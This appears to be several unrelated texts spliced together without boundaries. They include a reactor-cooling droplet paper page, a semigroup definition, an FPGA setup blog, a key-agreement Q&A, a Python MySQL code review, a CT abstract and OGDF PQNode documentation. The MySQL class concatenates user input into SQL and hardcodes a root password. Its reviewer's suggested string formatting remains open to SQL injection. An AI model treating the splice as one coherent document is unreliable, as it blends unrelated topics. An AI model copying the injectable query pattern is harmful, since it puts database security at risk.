discussed in the light of no solubility between Mo and Cu and the high temperature of the cathode surface during the arcing process. Published under license by AIP Publishing.

Gas Turbines Power 132(10), 102914 (Jul 07, 2010) (6 pages) doi:10.1115/1.4000867 History: Received July 29, 2009; Revised August 04, 2009; Published July 07, 2010; Online July 07, 2010 ## Abstract During the reflood phase, following a loss-of-coolant-accident (LOCA), the main mechanism for the precursory cooling of the fuel is by convective heat transfer to the vapor, with the vapor being cooled by the evaporation of the entrained saturated droplets. However, it is believed that the droplets that reach the rod could have an effect on this cooling process. Despite the fact that those droplets do not actually wet the fuel rod due to the formation of a vapor film that sustains them and prevents them from touching the wall, the temperature drop caused by the impingement of such water droplets on a very hot solid surface (whose temperature is beyond the Leidenfrost temperature (1966, “A Track About Some Qualities of Common Water,” Int. J. Heat Mass Transfer, 9, pp. 1153–1166)) is of the order of $30–150°C$ (2008, The Role of Entrained Droplets in Precursory Cooling During PWR Post-LOCA Reflood, TOPSAFE, Dubrovnik, Croatia, 1995, “Heat Transfer During Liquid Contact on Superheated Surfaces,” ASME J. Heat Transfer, 117, pp. 693–697). The associated heat flux is of the order of $105–107 W/m2$ and the heat extracted is in the range of 0.05 J over the time period of the interaction (a few ms) (2008, The Role of Entrained Droplets in Precursory Cooling During PWR Post-LOCA Reflood, TOPSAFE, Dubrovnik, Croatia, 1995, “Heat Transfer During Liquid Contact on Superheated Surfaces,” ASME J. Heat Transfer, 117, pp. 693–697). The hydrodynamic behavior of the droplets upon impingement is reported to affect the heat transfer effectiveness of the droplets. In the dispersed flow regime the droplets are more likely to impinge on the hot surface at a very small angle sliding along the solid wall, still without actually touching it, and remaining in a close proximity for a much larger time period. This changes the heat transfer behavior of the droplet. Here, we investigate numerically the hydrodynamics of the impingement of such droplets on a hot solid surface at various incident angles and various velocities of approach. For our simulations, we use a computational fluid dynamics (CFD), finite-volume computational algorithm (TransAT© ). The level set method is used for the tracking of the interface. We present three-dimensional results of those impinging droplets. The validation of our simulation is done against experimental data already available in the literature. Then, we compare the findings of those results with previous correlations. <> ## Figures Figure 1 Qualitative comparison between experimental data (7) and our simulated results (TransAT© ). The droplet size is 140 μm and the droplet velocity is 3 m/s. The approach angle is 30 deg. The Weber number here is 7. Figure 2 Ratio of normal droplet velocity component after and before the impact against Weber number. Several droplet sizes and velocities were simulated. Good agreement between the predictions using the TransAT© code and the experimental measurements of Anders (7). Figure 3 2 mm drop, angle of approach is 20 deg, initial velocity 1.2 m/s Figure 4 200 μm drop, angle of approach is 20 deg, initial velocity 1.2 m/s Figure 5 Simulated results. Water droplets impinging at various angles on a surface beyond the Leidenfrost threshold. The vertical and the 60 deg impact are similar. When small angles of impingement are considered, then the behavior is different. Here, the Weber numbers are 4, 3, and 0.5 from top to bottom. The droplet diameter is 200 μm. Figure 6 Spreading of the droplet, time of proximity, and distance it travels close to the wall as a function of angle, for a 200 μm droplet with initial speed 1.2 m/s. These are simulations with TransAT© . Figure 7 Upper case: droplet with Weber number equal to 35; lower case: droplet with Weber number equal to 0.3 Figure 8 Effect of angle of approach on the disintegration of the droplet. It is obvious that, for small angles of impingement, the droplet disintegrates at a lower Weber number. Good agreement between experiments and our simulated results. ## Discussions Some tools below are only available to our subscribers or users with an online account. ### Related Content Customize your page view by dragging and repositioning the boxes below.

# O-direct union The semi-group obtained from the given family $\{S_\alpha\}$ of semi-groups with zero, pairwise intersecting only at the zero element, by specifying on $\bigcup_\alpha S_\alpha$ the multiplication operation that coincides with the original operation on each semi-group $S_\alpha$ and is such that $S_\alpha S_\beta = 0$ for different $\alpha, \beta$. The $O$-direct union is also called the orthogonal sum. A number of types of semi-groups can be described by decomposing them in an $O$-direct union of known semi-groups (cf., e.g., Maximal ideal; Minimal ideal; Regular semi-group).

" BENJAMIN BLUNDELL'S  WEBSITE ---------------------------- Setup for the Scarab miniSpartan3 FPGA 20-12-2017 A long time ago, I bought one of the Scarab FPGA development boards which breaks out the Spartan 3 FPGA at a cheap price. Like many nerds, this sat in my box of bits for quite a long time. I've since started a project with my friend Will and although we are looking at a later Xilinx FPGA, I figured it might be worth trying to get this board setup, preferably on Linux. I had some trouble with this so if you've been having trouble getting this older board setup, I might be able to help. ### The miniSpartan3 Scarab Now Scarab have a custom IDE but this didn't work for me. Indeed, support is very limited for this board now. It's really beenn superceeded by other projects but at the time, it was quite popular and you can still do handy things with it I'd say. ### Vagrant setup I decided to use a virtual machine, and that Vagrant might be a good way to keep things organised. There are instructions on how to get the software to work on Arch Linux but it seems to be a lot more faff and using virtual machines keeps things neat, so after a lot of messing about and failure, I just decided to use Vagrant. If you aren't familiar with Vagrant have a look at this link. I decided to go with the Ubuntu Precise Pangolin LTS Vagrant box which seems to work fine. It has all the bits in the right places and it's just a bit easier than messing around with things. Make sure you create a larger hard-disk. The following Vagrant file should work. I went with about 60G of harddisk space. Overkill a little. You might be able to get away with 30G instead. The Xilinx stuff takes up a lot of space. Vagrant.configure("2") do |config| config.vm.box = "ubuntu/precise64" config.vm.provision :shell, path: "bootstrap.sh" config.vm.provider "virtualbox" do |v| v.memory = 4096 v.cpus = 2 v.gui = true v.customize ["modifyhd", "disk id", "--resize", "61440"] end config.ssh.forward_x11 = true end Now my approach was to do all the building and work inside the VM. This means I need to use Xorg and get away from the headless approach. To that end, one needs install a lot of extra packages. The bootstrap.sh file looks a little like this: #!/usr/bin/env bash apt-get update This is a little overkill - I should probably cut this down but all the packages you need seem to be there. ### Xilinx ISE Webpack The version I'm using of the Xilinx ISE is 14.7. The newer program, Vivado is what Xilinx would like you to use now. You can still get this older package from http://www.xilinx.com/support/download/index.html/content/xilinx/en/downloadNav/design-tools.html here. The Arch Linux page has some good advice on how to install this if you get stuck: https://wiki.archlinux.org/index.php/Xilinx_ISE_WebPACK. Ultimately, the Xilinx ISE Webpack is freeware, but you will need to download a licence. These are now available from Xilinx for free. Copy the installation files into your shared vagrant directory and then copy it into your VM. If you are using VirtualBox, you can launch the VirtualBox program itself and see your machine running away. Double click on the machine and you'll get a screen you can interact with - your Xorg window. From here we can run the installer. tar -xvf Xilinx_ISE_DS_Lin_14.7_1015_1.tar ./xsetup As we are running in a VM with a head, the visual installer should work fine. ### Launching the IDE So the first thing to do is make an LED flash right? It is the helloworld of hardware afterall. We need to launch the design tools first though. Assuming you followed the standard install you can do this: source /opt/Xilinx/14.7/ISE_DS/settings64.sh ise ### Further steps From here you have a couple of choices. Start a new project and work it though, or copy the project I've uploaded to git - https://github.com/OniDaito/Scarab3HelloWorld I'll be writing up this basic LED tutorial in another post, along with a little more about FPGAs in general. For now though, there is a good tutorial you can find at http://users.wpi.edu/~rjduck/Spartan3_Tutorial.pdf. It is a little old but gets across the basics.

# Multi-party key agreement I have done a google search for "multi-party key agreement", and there doesn't seem to be anything more recent than about 2005. Are there any practical multi-party key agreement protocols known? To be more precise, I want a protocol which: • Allows multiple individuals to agree a single shared secret • An adversary cannot tell what the shared secret is by listening to the communications. • It should be authenticated so an active adversary cannot persuade a participant to communicate with a secret the adversary knows. Note: I am aware of Multi-party Key Exchange protocol from lattice but a) that doesn't have any answers; b) I am not only interested in lattice cryptography (in fact, I would prefer something based on ECC or factoring). Edit: Background I want a system for encrypting a conference call. If each caller sends their audio to every other participant with separately agreed keys, then the total amount of work required is $O(n^2)$ (and the work done by each participant is $O(n)$). If everyone agrees a single shared secret, then we might be able to reduce the amount of work required. • The first part of your question has the same problem as the other question: it is not a specific question and therefore largely off topic. I think generally cryptographers don't care about the date of protocols nor if they are famous or not. Additionally, asking for lists is explicitly off topic. The second part of your question is much better. You fail however to mention why lattice based crypto is not acceptable. Those kind of unexplained exclusions tend to put people off (such as the famous: "but I cannot use any libraries" on StackOverflow). – Maarten Bodewes Aug 1 '18 at 9:55 • I don't need a list - I just need a good one. What I meant about the dates was there were a few papers proposing and knocking down proposals, and then silence. There are no blog posts "this is how you do multi-party key exchange". – Martin Bonner supports Monica Aug 1 '18 at 20:30 • My preference for factoring/ECC is just that those are much better understood systems. If no-one has found a problem with an ECC-based protocol, it probably means it is secure. If no-one has found a problem with a lattice-based protocol, it may just mean that they haven't looked hard enough. – Martin Bonner supports Monica Aug 1 '18 at 20:32 • @MaartenBodewes OTOH, if there is a good lattice-based protocol, I'll take that. – Martin Bonner supports Monica Aug 1 '18 at 20:33 Historically, both the difficulty and the risks involved in securely establishing shared keys in large networks has led to the invention of public-key cryptography. So you might first want to consider using digital signatures/asymmetric encryption instead of sharing the same secret between parties. If you need all (or some) of the parties to collectively sign or encrypt a message, consider using threshold signature schemes with a Distributed Key Generation protocol. That will produce a key pair that is distributed among $N$ participants such that at least $k$ of them need to collaborate for performing a key operation. For discrete-log cryptosystems there's a paper by Gennaro et al that describes such a setup. Edit: If you only need to establish a common secret (instead of a key pair) between all the parties, a simpler solution would be to use a generalized Diffie-Hellman key exchange instead. This works for honest participants with insecure communication channels. If the participants can be malicious, a more robust solution is described by Tseng, 2005. • Thanks. That's a couple of useful links. I think we will stick to pairwise key-agreement. – Martin Bonner supports Monica Aug 8 '18 at 12:51 What ia the problem with doing O(N^2) communication for key exchange. If after that everyone has the same key. The actual data can be sent only once. A simple option would be: Everybody publishes a public key. Everybody picks a random key and encrypts it with everybody elses public key and shares. Final key is XOR of all sub keys. only the setup phase uses multiple communication. Alternatively appoint a dealer which will coordinate a key among all parties. • This assumes secure communication channels and honest participants (i.e. issues with man in the middle attacks or participants learning other participants' keys). – Lucian Boca Aug 8 '18 at 16:03 I would recommend looking on the following protocols: • Burmester Desmedt • MD+P • Asynchronous Ratcheting Tree (bleeding edge) All of them are called Group Key agreements and most of them assume that each participant is in a circle or are applied on a tree. The security of them is based upon Computational Diffie Hellman but in some cases can be used with Elliptic Curve Diffie Hellman.

# MySQL class to add user/database I'm creating tool to add new virtualhost on UNIX-box. One of tasks is to add a new user and database to MariaDB (aka MySQL) server. In fact - this my first 'real' attempt to use OOP. Here is class, which I created for it: class mysqlUserDb: warnings.filterwarnings('error') def __init__(self): self.root = 'root' self.host = 'localhost' self.rootpw = 'p@ss' try: print '\nChecking MySQL connection...' self.db = MySQLdb.connect(self.host, self.root, self.rootpw) self.cursor = self.db.cursor() self.cursor.execute('select version()') print 'Connection OK, proceeding.' except MySQLdb.Error as error: print 'Error: %s ' %error + '\nStop.\n' sys.exit() def createdb(self, db): print '\nCreating database...' try: self.cursor.execute('create database if not exists ' + db) self.cursor.execute('show databases like ' + '\'' + db + '\'') dbs = self.cursor.fetchone() print 'Database created: %s' %dbs except Warning as warn: print 'Warning: %s ' %warn + '\nStop.\n' sys.exit() def grants(self, user, userpass, db): print '\nGrant privilegies... ' try: self.cursor.execute('grant all on ' + db + '.*' + 'to ' + '\'' + user + '\'' + "@'localhost'" + 'identified by ' + '\'' + userpass + '\'') self.cursor.execute('select user, db from mysql.db where db=' + '\'' + db + '\'') grs = self.cursor.fetchall() print 'Access granted: %r' %grs except Warning as warn: print 'Warning: %s ' %warn + '\nStop.\n' sys.exit() except MySQLdb.Error as error: print 'Error: %s ' %error + '\nStop.\n' sys.exit() def __del__(self): print '\nFinishing operations...' self.cursor.close() self.db.close() print 'Done.\n' Next, in tool it call like: import createvhostFunctsClass as fun mysql = fun.mysqlUserDb() mysql.createdb('db_2') mysql.grants('user', 'pass', 'db_2') del mysql (it's just example, not included yet in tool). And its works like: \$ ./myclass.py Checking MySQL cconnection... Connection OK, proceeding. Creating database... Database created: db_2 Grant privilegies... Access granted: ('user', 'db_2') Finishing operations... Done. I'm pretty sure, here is lot of stuff, which I missed or did incorrectly (or not the "Python way"). Also, I'm not sure - which way better: 1. create methods for each action (add database, add user) and just call this methods from script (currently done) 2. create one method, which will get needed action ('create database lalala') as argument and call this method several times in script - I'm pretty sure, here is lot of stuff, which I missed or did incorrectly (or not the "Python way"). The convention is to use CamelCase for class names. So MysqlUserDb would be better for your class. See PEP8 for more details. Don't mix string concatenation and formatting expressions like this: print 'Error: %s ' % error + '\nStop.\n' Stick to formatting expressions without concatenation: print 'Error: %s\nStop.\n' % error You do this a lot. Apply this technique everywhere. Similarly, you're not using formatting expressions enough. For example in SQL queries like this one: self.cursor.execute('show databases like ' + '\'' + db + '\'') With all those quotations and escaping, it's easy to overlook a mistake. It becomes simpler if you use formatting expression, and if you change the outermost quotes to double quotes: self.cursor.execute("show databases like '%s'" % db) Your code appears to be for Python 2.x. To be a bit more ready for a possible future migration to Python 3.x, I recommend to start writing your print ... statements as print(...), for example: print('Connection OK, proceeding.') Also, I'm not sure - which way better: 1. create methods for each action (add database, add user) and just call this methods from script (currently done) 2. create one method, which will get needed action ('create database lalala') as argument and call this method several times in script Your current approach is good: use a separate method for each separate action. ### Unused fields In __init__ you are setting these fields: self.root = 'root' self.host = 'localhost' self.rootpw = 'p@ss' But then you're not using them anywhere else within the class. So it seems these should not be fields, but perhaps global constants declared at the top of the class. I would also name them a bit differently: DBROOTUSER = 'root' DBROOTPASS = 'p@ss' DBHOST = 'localhost' ### Security Are you sure you want to store the db's root account password in this script? Make sure the file has restricted permissions (do a chmod 0600 on it). Needless to say, but better make sure the method parameters are cleaned before reaching your class to avoid SQL injection attacks. Or implement validation inside your methods. ### Naming def createdb(self, db): # ... def grants(self, user, userpass, db): # ... I recommend this: def createdb(self, dbname): # ... def grants(self, dbuser, dbpass, dbname): # ... This may be a matter of taste though. - Thanks a lot. Can't vote up, unfortunately. – setevoy Sep 2 '14 at 19:36 could you pelase explain - what you mean here: "Needless to say, but better make sure the method parameters are cleaned before reaching your class to avoid SQL injection attacks. Or implement validation inside your methods."? P.S. Tool designed for my use only on my only server, that's why I set root pass directly in script (and yes - I'ts owned by OS root too with 0700). Otherway - I'd prefer to set getpass.getpass() and ask pass everytime. – setevoy Sep 3 '14 at 17:19 As long as it's like that, it's fine. Keep it carefully secured. – janos Sep 3 '14 at 20:38 The error handling seems to be problematic. By convention, a program should exit with a non-zero status to indicate that an error has occurred. By calling sys.exit(), you are indicating that the command completed successfully. Whatever process is calling your script will have a hard time determining whether the database operations succeeded or failed. Also, warnings are attention-deserving problems that are non-fatal. Your script treats warnings as errors (which are fatal). Either change the vocabulary (tell the user that an error has occurred, not a warning, and exit with a non-zero status) or change the behaviour (print a warning to the user, but continue processing). - Thanks, @200. About sys.exit() - yes, will fix. About warnings - MySQL generates 'warning', if database exist and can't be created. Thus - I used 'warning' exceptions as 'erros' to rise error. Also - program can't be continued, if user add database, which currently present. IMHO. – setevoy Sep 2 '14 at 17:27 It's fine to treat warnings from MySQL as errors. Just make sure that what your script reports matches its behaviour. – 200_success Sep 2 '14 at 17:29 I assume in Python, exceptions can propagate up the call stack...right? Would it be better to just let them do so (or throw another exception with a more informative message), and have the caller decide what to do about the problem? (In a decent-sized app, for example, it might want to log the failure rather than just printing to stdout. I'd think it'd have trouble doing so if you just kill the app.) – cHao Sep 2 '14 at 21:40

Improvements to conventional X-ray tube-based cone-beam computed tomography system.Nuclear Science and Techniques, 2018, 29(3): 43 Citations Altmetrics Abstract: Conventional X-ray tube-based cone-beam computed tomography (CX-CBCT) systems have great potential in industrial applications. Such systems can rapidly obtain a three-dimensional (3D) image of an object. Conventional X-ray tubes fulfill the requirements for industrial applications, because of their high tube voltage and power. Continuous improvements have been made to CX-CBCT systems, such as imaging time shortening, acquisition strategy optimization, and imaging software development, etc. In this study, a CX-CBCT system is developed. Additionally, some improvements to the CXCBCT system are proposed based on the hardware conditions of the X-ray tube and detector. A near-detector (ND) geometry condition is employed to obtain a sharper image and larger detection area. An improved acquisition strategy is proposed to simplify operations and reduce total imaging time. In the ND geometry condition, a simplified method called FBP slice stacking (SS-FBP) is proposed, which can be applied to 3D image reconstruction. SS-FBP is timesaving relative to traditional methods. Furthermore, imaging software for the CX-CBCT system is developed in the MATLAB environment. Several imaging experiments were performed. The results suggest that the CX-CBCT system works properly, and that the above improvements are feasible and practical.

More... ## Detailed Description ### template<class T, class X, class Y> class ogdf::PQNode< T, X, Y > The class template PQBasicKey is an abstract base class. It enables the user of the PQ-tree to store different informations at every node of the tree. The implementation of the PQ-tree provides the storage of three different types of information. • General information that is stored at P- and Q-nodes and leaves likewise (see also PQNodeKey). • Information that is only supported for internal nodes (see also internalKey). • The keys of the leaves (see also leafKey). The keys are constructed to carry the elements of a user defined set of any type, where permissible permutations have to be found. In order to use the datastructure PQ-tree as class template PQTree, the user has to specify a set of arbitrary elements that form the leaves of the PQ-tree. The keys function as storage class of the elements of the set. All three storage classes are derived class templates of PQBasicKey. The class PQBasicKey has a pointer PQBasicKey::m_nodePointer to a PQNode, beeing either a leaf or an internal PQInternalNode. The base class itself does not provide any storage of the informations, it is hidden in the derived classes. PQBasicKey only declares a few pure virtual functions that are overloaded in the derived classes and which give access to the information stored in the derived classes. The information stored in an element of a derived class of PQBasicKey is assigned to a unique node in the PQ-tree. This unique node can be identified with the PQBasicKey::m_nodePointer. The maintenance of this pointer is left to the user in the derived concrete classes PQNodeKey and internalKey. By keeping the responsibillity for these classes by the client, nodes with certain informations can be accessed by the client in constant time. This makes the adaption of algorithms fast and easy. Only the derived concrete class template leafKey is treated in a different way by the class template PQTree. When initializing the PQTree with a set of elements of type leafKey, the class template PQTree sets the pointer PQBasicKey::m_nodePointer of every element. This is due to the fact that a PQ-tree is always defined over some set, whose elements are stored in the leaves. Hence the class PQtree expects such a set and supports its maintainance. Storing extra information at every node may be omitted and makes the PQtree easy applicable. We now give a short overview of the class template declaration PQBasicKey. The class template PQBasicKey is used as a base class template that specifies three different types of information. The type of information used at a node is depending on the type of the node. These informations have to be specified by the user. The formal type parameters of the class template PQBasicKey are categorized as follows. • T is a formal type parameter for the information stored in leafKey. • X is a formal type parameter for the information stored in PQNodeKey. • Y is a formal type parameter for the information stored in internalKey. The class template PQBasicKey contains a few pure virtual member functions that are overloaded in the derived class leafKey, PQNodeKey and internalKey. These functions enable the client to access the information stored at a node.

Definition at line 571 of file PQNode.h. ## ◆ PQNode() [2/2] template<class T , class X , class Y > ogdf::PQNode< T, X, Y >::PQNode ( int count ) explicit The (second) constructor is called, if no information is available or neccessary. Definition at line 602 of file PQNode.h. ## ◆ ~PQNode() template<class T , class X , class Y > virtual ogdf::PQNode< T, X, Y >::~PQNode ( ) inlinevirtual The destructor does not delete any accompanying information class as PQLeafKey, PQNodeKey and PQInternalKey. This has been avoided, since applications may need the existence of these information classes after the corresponding node has been deleted. If the deletion of an accompanying information class should be performed with the deletion of a node, either derive a new class with an appropriate destructor, or make use of the function CleanNode() of the class template PQTree. Definition at line 85 of file PQNode.h. ## ◆ changeEndmost() template<class T , class X , class Y > bool ogdf::PQNode< T, X, Y >::changeEndmost ( PQNode< T, X, Y > * oldEnd, PQNode< T, X, Y > * newEnd ) The function changeEndmost() replaces the old endmost child oldEnd of the node by a new child newEnd. If the node is a Q-node, then it must have two valid pointers to its endmost children. If one of the endmost children is oldEnd, it is replaced by newEnd. The function changeEndmost() returns 1 if it succeeded in replacing oldEnd by newEnd. Otherwise the function returns 0, leaving with an error message. Definition at line 521 of file PQNode.h. ## ◆ changeSiblings() template<class T , class X , class Y > bool ogdf::PQNode< T, X, Y >::changeSiblings ( PQNode< T, X, Y > * oldSib, PQNode< T, X, Y > * newSib ) The function changeSiblings() replaces the old sibling oldSib of the node by a new sibling newSib. If the node has oldSib as sibling, then it changes the sibling pointer that references to oldSib and places newSib at its position. The function changeSiblings() returns 1 if it succeeded in replacing oldSib by newSib. Otherwise the function returns 0, leaving with an error message. Definition at line 549 of file PQNode.h. ## ◆ childCount() [1/2] template<class T , class X , class Y > int ogdf::PQNode< T, X, Y >::childCount ( ) const inline Returns the number of children of a node. Definition at line 197 of file PQNode.h. ## ◆ childCount() [2/2] template<class T , class X , class Y > void ogdf::PQNode< T, X, Y >::childCount ( int count ) inline Sets the number of children of a node. Definition at line 200 of file PQNode.h. ## ◆ endmostChild() template<class T , class X , class Y > bool ogdf::PQNode< T, X, Y >::endmostChild ( ) const inline The function endmostChild() checks if a node is endmost child of a Q-node. This is 1 if one of the sibling pointers m_sibLeft or m_sibRight is 0. If the node is endmost child of a Q-node, then it has a valid parent pointer. Definition at line 121 of file PQNode.h. ## ◆ getEndmost() [1/2] template<class T , class X , class Y > PQNode* ogdf::PQNode< T, X, Y >::getEndmost ( PQNode< T, X, Y > * other ) const inline Returns one of the endmost children of node, if node is a Q-node. The function getEndmost() accepts as input a pointer to a PQNode stored in other. The returned endmost child is unequal to the one specified in other. In case that an arbitrary endmost child should be looked up, set other = 0. This makes the function getEndmost() return an arbitrary endmost child (it returns the left endmost child). Definition at line 134 of file PQNode.h. ## ◆ getEndmost() [2/2] template<class T , class X , class Y > PQNode* ogdf::PQNode< T, X, Y >::getEndmost ( SibDirection side ) const inline Returns one of the endmost children of node, if node is a Q-node. The function accepts an integer denoting a direction causing the function to return either the left or the endmost child. Definition at line 148 of file PQNode.h. ## ◆ getInternal() template<class T , class X , class Y > virtual PQInternalKey* ogdf::PQNode< T, X, Y >::getInternal ( ) const pure virtual getInternal() returns a pointer to the PQInternalKey information of a node, in case that the node is supposed to have PQInternalKey information, such as elements of the derived class template PQInternalNode. The internal information is of type PQInternalKey. Implemented in ogdf::PQInternalNode< T, X, Y >, and ogdf::PQLeaf< T, X, Y >. ## ◆ getKey() template<class T , class X , class Y > virtual PQLeafKey* ogdf::PQNode< T, X, Y >::getKey ( ) const pure virtual getKey() returns a pointer to the PQLeafKeyof a node, in case that the node is supposed to have a key, such as elements of the derived class template PQLeaf. The key contains information and is of type PQLeafKey. Implemented in ogdf::PQInternalNode< T, X, Y >, and ogdf::PQLeaf< T, X, Y >. ## ◆ getNextSib() template<class T , class X , class Y > PQNode* ogdf::PQNode< T, X, Y >::getNextSib ( PQNode< T, X, Y > * other ) const inline The function getNextSib() returns one of the siblings of the node. The function getNextSib() accepts as input a pointer to a PQNode stored in other. The returned sibling is unequal to the one specified in other. In case that no sibling has been looked up before, set other = 0. This makes the function getNextSib() return an arbitrary sibling (it returns the left sibling). Definition at line 183 of file PQNode.h. ## ◆ getNodeInfo() template<class T , class X , class Y > PQNodeKey* ogdf::PQNode< T, X, Y >::getNodeInfo ( ) const inline Returns the identification number of a node. Definition at line 158 of file PQNode.h. ## ◆ getSib() template<class T , class X , class Y > PQNode* ogdf::PQNode< T, X, Y >::getSib ( SibDirection side ) const inline The function getSib() returns one of the siblings of the node. It accepts an integer denoting a dircetion causing the function to return either the left or the right sibling. Definition at line 165 of file PQNode.h. ## ◆ identificationNumber() template<class T , class X , class Y > int ogdf::PQNode< T, X, Y >::identificationNumber ( ) const inline Returns the identification number of a node. Definition at line 194 of file PQNode.h. ## ◆ mark() [1/2] template<class T , class X , class Y > virtual PQNodeMark ogdf::PQNode< T, X, Y >::mark ( ) const pure virtual mark() returns the variable PQLeaf::m_mark in the derived class PQLeaf and PQInternalNode. In a derived class this function has to return the designation used in the first pass of Booth and Luekers algorithm called Bubble(). A node then is either marked BLOCKED, UNBLOCKED or QUEUED (see PQNode). Implemented in ogdf::PQInternalNode< T, X, Y >, and ogdf::PQLeaf< T, X, Y >. ## ◆ mark() [2/2] template<class T , class X , class Y > virtual void ogdf::PQNode< T, X, Y >::mark ( PQNodeMark ) pure virtual mark() sets the variable PQLeaf::m_mark in the derived class PQLeaf and PQInternalNode. Implemented in ogdf::booth_lueker::EmbedIndicator. ## ◆ parent() [1/2] template<class T , class X , class Y > PQNode* ogdf::PQNode< T, X, Y >::parent ( ) const inline The function parent() returns a pointer to the parent of a node. Warning After reducing the PQ-tree, some nodes may not have valid parent pointers anymore. This is no fault, the datastructur was designed this way. See also Booth and Lueker. Definition at line 209 of file PQNode.h. ## ◆ parent() [2/2] template<class T , class X , class Y > PQNode* ogdf::PQNode< T, X, Y >::parent ( PQNode< T, X, Y > * newParent ) inline Sets the parent pointer of a node. This function is needed in more ellaborated algorithms implemented as derivation of the class template PQTree. Here, the parent pointer probably is always needed and therefore has to be set within special functions, used in a pre-run before applying the bubble Phase of the PQTree. Definition at line 218 of file PQNode.h. ## ◆ parentType() [1/2] template<class T , class X , class Y > PQNodeType ogdf::PQNode< T, X, Y >::parentType ( ) const inline Returns the type of the parent of a node. Definition at line 224 of file PQNode.h. ## ◆ parentType() [2/2] template<class T , class X , class Y > void ogdf::PQNode< T, X, Y >::parentType ( PQNodeType newParentType ) inline Sets the type of the parent of a node. This does not change the type of the parent! Definition at line 230 of file PQNode.h. ## ◆ pertChildCount() [1/2] template<class T , class X , class Y > int ogdf::PQNode< T, X, Y >::pertChildCount ( ) const inline Returs the number of pertinent children of a node. Definition at line 233 of file PQNode.h. ## ◆ pertChildCount() [2/2] template<class T , class X , class Y > void ogdf::PQNode< T, X, Y >::pertChildCount ( int count ) inline Sets the number of pertinent children of a node. Definition at line 236 of file PQNode.h. ## ◆ putSibling() [1/2] template<class T , class X , class Y > SibDirection ogdf::PQNode< T, X, Y >::putSibling ( PQNode< T, X, Y > * newSib ) inline The default function putSibling() stores a new sibling at a free sibling pointer of the node. This is only possible, if the node has at most one sibling. The function then detects a non used sibling pointer and places newSib onto it. putSibling() returns 0 if there have been two siblings detected, occupying the two possible pointers. In this case the new sibling newSib cannot be stored. If there was at a maximum one sibling stored, the function will place newSib on the free pointer and return either LEFT or RIGHT, depending wich pointer has been used. This function will always scan the pointer to the left brother first. Definition at line 251 of file PQNode.h. ## ◆ putSibling() [2/2] template<class T , class X , class Y > SibDirection ogdf::PQNode< T, X, Y >::putSibling ( PQNode< T, X, Y > * newSib, SibDirection preference ) inline The function putSibling() with preference stores a new sibling at a free sibling pointer of the node. This is only possible, if the node has at most one sibling. The function then detects a non used sibling pointer and places newSib onto it. putSibling() returns 0 if there have been two siblings detected, occupying the two possible pointers. In this case the new sibling newSib could not be stored. If there was at a maximum one sibling stored, the function will place newSib on the free pointer and return either LEFT or RIGHT, depending wich pointer has been used. This function scans the brother first, which has been specified in the preference. If the preference has value LEFT, it scans the pointer to the left brother first. If the value is RIGHT, it scans the pointer to the right brother first. Definition at line 279 of file PQNode.h. ## ◆ referenceChild() template<class T , class X , class Y > PQNode* ogdf::PQNode< T, X, Y >::referenceChild ( ) const inline Returns a pointer to the reference child if node is a P-node. Definition at line 298 of file PQNode.h. ## ◆ referenceParent() template<class T , class X , class Y > PQNode* ogdf::PQNode< T, X, Y >::referenceParent ( ) const inline Returns the pointer to the parent if node is a reference child. Definition at line 301 of file PQNode.h. ## ◆ setInternal() template<class T , class X , class Y > virtual bool ogdf::PQNode< T, X, Y >::setInternal ( PQInternalKey< T, X, Y > * pointerToInternal ) pure virtual ## ◆ setKey() template<class T , class X , class Y > virtual bool ogdf::PQNode< T, X, Y >::setKey ( PQLeafKey< T, X, Y > * pointerToKey ) pure virtual Sets a specified pointer variable in a derived class to the specified adress of pointerToKey that is of type PQLeafKey. If a derived class, such as PQInternalNode, is not supposed to store informations of type PQLeafKey, setKey() ignores the informations as long as pointerToKey = 0. The return value then is 1. In case that pointerToKey != 0, the return value is 0. If a derived class, such as PQLeaf is supposed to store informations of type PQLeafKey, pointerToKey has to be instantiated by the client. The function setKey() does not instantiate the corresponding variable in the derived class. The return value is always 1 unless pointerKey was equal to 0. Implemented in ogdf::PQInternalNode< T, X, Y >, and ogdf::PQLeaf< T, X, Y >. ## ◆ setNodeInfo() template<class T , class X , class Y > bool ogdf::PQNode< T, X, Y >::setNodeInfo ( PQNodeKey< T, X, Y > * pointerToInfo ) inline Sets the pointer m_pointerToInfo to the specified adress of pointerToInfo. Definition at line 304 of file PQNode.h. ## ◆ status() [1/2] template<class T , class X , class Y > virtual PQNodeStatus ogdf::PQNode< T, X, Y >::status ( ) const pure virtual Returns the variable PQLeaf::m_status in the derived class PQLeaf and PQInternalNode. Its objective is to manage status of a node in the PQ-tree. A status is any kind of information of the current situation in the frontier of a node (the frontier of a node are all descendant leaves of the node). A status is anything such as EMPTY, FULL or PARTIAL (see PQNode). Since there might be more than those three possibilities, (e.g. in computing planar subgraphs this function probably has to be overloaded by the client. Implemented in ogdf::PQInternalNode< T, X, Y >, and ogdf::PQLeaf< T, X, Y >. ## ◆ status() [2/2] template<class T , class X , class Y > virtual void ogdf::PQNode< T, X, Y >::status ( PQNodeStatus ) pure virtual Sets the variable PQLeaf::m_status in the derived class PQLeaf and PQInternalNode. Implemented in ogdf::booth_lueker::EmbedIndicator. ## ◆ type() [1/2] template<class T , class X , class Y > virtual PQNodeType ogdf::PQNode< T, X, Y >::type ( ) const pure virtual Returns the variable PQInternalNode::m_type in the derived class PQLeaf and PQInternalNode. Its objective it to manage the type of a node. node the current node is. The type of a node in the class template PQTree is either PNode, QNode or leaf (see PQNode). There may be of course more types such as sequence indicators. Observe that the derived class template PQLeaf does not have a variable PQInternalNode::m_type, since it obviously is of type leaf. Implemented in ogdf::PQInternalNode< T, X, Y >, and ogdf::PQLeaf< T, X, Y >. ## ◆ type() [2/2] template<class T , class X , class Y > virtual void ogdf::PQNode< T, X, Y >::type ( PQNodeType ) pure virtual Sets the variable PQInternalNode::m_type in the derived class PQLeaf and PQInternalNode. Implemented in ogdf::booth_lueker::EmbedIndicator. ## ◆ PQTree< T, X, Y > template<class T , class X , class Y > friend class PQTree< T, X, Y > friend All members and member function of PQNode are needed by the class template PQTree. Therefore the class PQTree was made friendof PQNode, since this prevents the use of a large amount of extra public functions. Definition at line 58 of file PQNode.h. ## ◆ fullChildren template<class T , class X , class Y > List*>* ogdf::PQNode< T, X, Y >::fullChildren protected Stores all full children of a node during a reduction.

